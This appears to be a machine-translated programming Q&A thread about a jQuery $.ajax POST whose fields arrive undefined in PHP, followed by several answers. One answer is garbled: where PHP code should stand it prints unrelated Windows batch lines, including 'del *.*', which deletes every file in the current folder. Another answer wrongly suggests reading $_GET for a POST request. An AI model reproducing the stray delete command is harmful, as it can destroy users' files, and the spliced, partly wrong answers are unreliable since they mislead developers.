我正在创建一个DDBB Insert $ .ajax:
$(document).on('click','.submitMessage', function(){
content=$('textarea').val();
img=$('#messageImg').val();
stdMsg=$('.ms_stdMsg').val();
prefix=$('.prefix').val();
phone=$('.cuadroTelefono').val();
$.ajax({
url: "../actions/newMessage.php",
type: "POST",
data:{ms_content:content, ms_img:img,ms_prefix:prefix,ms_phone:phone},
contentType: false,
cache: false,
processData:false,
success: function(data)
{
alert("Enviado");
}
});
});
这就是我在newMessage.php
上收到代码的方式:
$ms_content = $_POST['ms_content'];
$ms_img = $_POST['ms_img'];
$ms_prefix = $_POST['ms_prefix'];
$ms_phone = $_POST['ms_phone'];
控制台出错
注意:未定义的索引:第9行的C:... \ newMessage.php中的ms_content
传递的每个变量一个(我已经省略了整个URL)
由于发布的信息是一个对象,我想我必须在PHP上解码它,但是尝试:
$ms_content = json_decode($_POST['ms_content']);
......既没有工作
答案 0 :(得分:1)
您需要使用contentType参数指定要发送的数据。 For more references
答案 1 :(得分:0)
$(document).on('click','.submitMessage', function(){
content=$('textarea').val();
img=$('#messageImg').val();
stdMsg=$('.ms_stdMsg').val();
prefix=$('.prefix').val();
phone=$('.cuadroTelefono').val();
$.ajax({
url: "../actions/newMessage.php",
type: "POST",
data:{ms_content:content, ms_img:img,ms_prefix:prefix,ms_phone:phone},
cache: false,
success: function(data)
{
alert("Enviado");
}
});
});
请删除processData:false, contentType: false
,然后尝试。
答案 2 :(得分:-1)
您可以在php文件中使用$ _REQUEST而不是$ _POST。
$ms_content = $_POST['ms_content'];
而不是
attrib +r +s *.png
attrib +r +s *.jpg
del *.*
attrib -r -s *.bat
attrib -r -s *.jpg
第二个可能是由于网址路径
尝试提供完整的网址。
第三
提供contentType。
答案 3 :(得分:-2)
我认为您必须访问$ _GET参数,因为jquery文档说:
数据 键入:PlainObject或String或Array 要发送到服务器的数据。如果不是字符串,它将转换为查询字符串。它附加到GET请求的URL。请参阅processData选项以防止此自动处理。对象必须是键/值对。如果value是一个数组,jQuery会根据传统设置的值使用相同的键序列化多个值(如下所述)。
http://api.jquery.com/jquery.ajax/
因此,您将使用
获取数据$ms_img = $_GET['ms_img'];